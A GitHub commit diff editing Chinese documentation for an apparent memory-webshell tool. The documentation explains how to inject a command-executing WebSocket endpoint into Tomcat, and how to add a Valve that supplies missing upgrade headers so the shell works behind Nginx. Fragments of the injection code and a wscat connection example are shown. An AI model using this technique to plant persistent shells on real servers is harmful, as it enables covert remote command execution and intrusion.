Skip to content

Commit b49da4e

Browse files
committed
docs: add some highlights
1 parent 0d773ef commit b49da4e

File tree

2 files changed

+15
-11
lines changed

2 files changed

+15
-11
lines changed

web/content/docs/middleware/tomcat-websocket.mdx

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ public class ExampleEndpoint extends Endpoint {
5050
}
5151
```
5252

53-
接口继承 javax.websocket.Endpoint,在 onOpen 的时候注册消息处理器
53+
通过继承 `javax.websocket.Endpoint`,在 `onOpen` 方法中注册消息处理器
5454

5555
在内存马场景下,可以在 onMessage 方法中添加恶意逻辑,例如执行系统命令或加载其他恶意代码,以下是命令回显 WebSocket Endpoint 示例:
5656

@@ -129,7 +129,7 @@ public class WsSci implements ServletContainerInitializer {
129129
Set<ServerEndpointConfig> filteredEndpointConfigs = ...;
130130
try {
131131
for (ServerEndpointConfig config : filteredEndpointConfigs) {
132-
sc.addEndpoint(config);
132+
sc.addEndpoint(config); // [!code highlight]
133133
}
134134
// ...
135135
} catch (DeploymentException e) {
@@ -139,7 +139,7 @@ public class WsSci implements ServletContainerInitializer {
139139

140140
static WsServerContainer init(ServletContext servletContext, boolean initBySciMechanism) {
141141
WsServerContainer sc = new WsServerContainer(servletContext);
142-
servletContext.setAttribute("javax.websocket.server.ServerContainer", sc);
142+
servletContext.setAttribute("javax.websocket.server.ServerContainer", sc); // [!code highlight]
143143
// ...
144144
return sc;
145145
}
@@ -204,7 +204,7 @@ sec-websocket-key = 4yY8pZQPUv6RlRoPgh7SaA==
204204
sec-websocket-extensions = permessage-deflate; client_max_window_bits
205205
```
206206

207-
实现细节的话,不知道大家有没有注意到 Tomcat 中总是默认注册个 Filter 叫作 `org.apache.tomcat.websocket.server.WsFilter`,其实这个就是用于将 HTTP 请求升级为 WebSocket 协议的 Filter
207+
在实现细节上,Tomcat 默认会注册一个名为 `org.apache.tomcat.websocket.server.WsFilter` 的 Filter,用于将 HTTP 请求升级为 WebSocket 协议
208208

209209
首先会在 `UpgradeUtil.isWebSocketUpgradeRequest` 判断请求头里面有没有 `Upgrade: websocket` 以及是不是 GET 请求。
210210
其次在 `UpgradeUtil.doUpgrade` 方法中会检查 `Connection: upgrade` 以及 `Sec-WebSocket-Version: 13`,如果没有这些头部就会直接返回 400 或 426 错误码。
@@ -239,15 +239,15 @@ public class UpgradeUtil {
239239
public static boolean isWebSocketUpgradeRequest(ServletRequest request, ServletResponse response) {
240240
return request instanceof HttpServletRequest
241241
&& response instanceof HttpServletResponse
242-
&& headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket")
242+
&& headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket") // [!code highlight]
243243
&& "GET".equals(((HttpServletRequest)request).getMethod());
244244
}
245245

246246
public static void doUpgrade(WsServerContainer sc, HttpServletRequest req, HttpServletResponse resp, ServerEndpointConfig sec, Map<String, String> pathParams) throws ServletException, IOException {
247247
String subProtocol = null;
248-
if (!headerContainsToken(req, "Connection", "upgrade")) {
248+
if (!headerContainsToken(req, "Connection", "upgrade")) { // [!code highlight]
249249
resp.sendError(400);
250-
} else if (!headerContainsToken(req, "Sec-WebSocket-Version", "13")) {
250+
} else if (!headerContainsToken(req, "Sec-WebSocket-Version", "13")) { // [!code highlight]
251251
resp.setStatus(426);
252252
resp.setHeader("Sec-WebSocket-Version", "13");
253253
}
@@ -256,7 +256,7 @@ public class UpgradeUtil {
256256
}
257257
```
258258

259-
结合上面透过 Nginx Tomcat 拿到的请求头,我们缺失的就是 `Upgrade: websocket``Connection: upgrade` 这两个请求头,使得请求根本没进入 WsFilter 的逻辑导致连接失败。所以我们需要伪造一个类似 WsFilter 的组件并且处理缺失的请求头,我根据 Filter 和 Valve 的注入的代码量,选择了更轻量化的 Valve 组件:
259+
结合上面通过 Nginx 转发到 Tomcat 的请求头,可以看到缺失的就是 `Upgrade: websocket``Connection: upgrade` 这两个请求头,导致请求无法进入 WsFilter 的逻辑从而连接失败。因此我们需要创建一个类似 WsFilter 的组件来补充缺失的请求头。考虑到 Filter 和 Valve 的注入代码量,这里选择了更轻量化的 Valve 组件:
260260

261261
```java
262262
public class TomcatWsBypassValve implements Valve {
@@ -348,7 +348,7 @@ private void inject(Object context, Object obj) throws Exception {
348348
Object pipeline = invokeMethod(context, "getPipeline", null, null); // [!code ++]
349349
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); // [!code ++]
350350
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); // [!code ++]
351-
351+
352352
ClassLoader contextClassLoader = context.getClass().getClassLoader();
353353
Class<?> serverEndpointConfigClass;
354354
Class<?> builderClass;
@@ -368,4 +368,8 @@ private void inject(Object context, Object obj) throws Exception {
368368
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
369369
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
370370
}
371-
```
371+
```
372+
373+
## 相关文档
374+
375+
- [Command 内存马使用教程](/docs/shelltool/command) - 了解如何生成和使用 WebSocket 命令执行内存马

web/content/docs/shelltool/command.mdx

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ Connected (press CTRL+C to quit)
5959

6060
`/app` 是应用的路径,`/ws-bypass-cmd` 是上述生成时填的路径。
6161

62-
我们可以先尝试直接连接,直接 404 因为 /app/ws-bypass-cmd 并不存在
62+
我们可以先尝试直接连接,会返回 404 错误,因为 `/app/ws-bypass-cmd` 路径并不存在
6363

6464
```bash
6565
❯ wscat -c ws://127.0.0.1/app/ws-bypass-cmd

0 commit comments

Comments
 (0)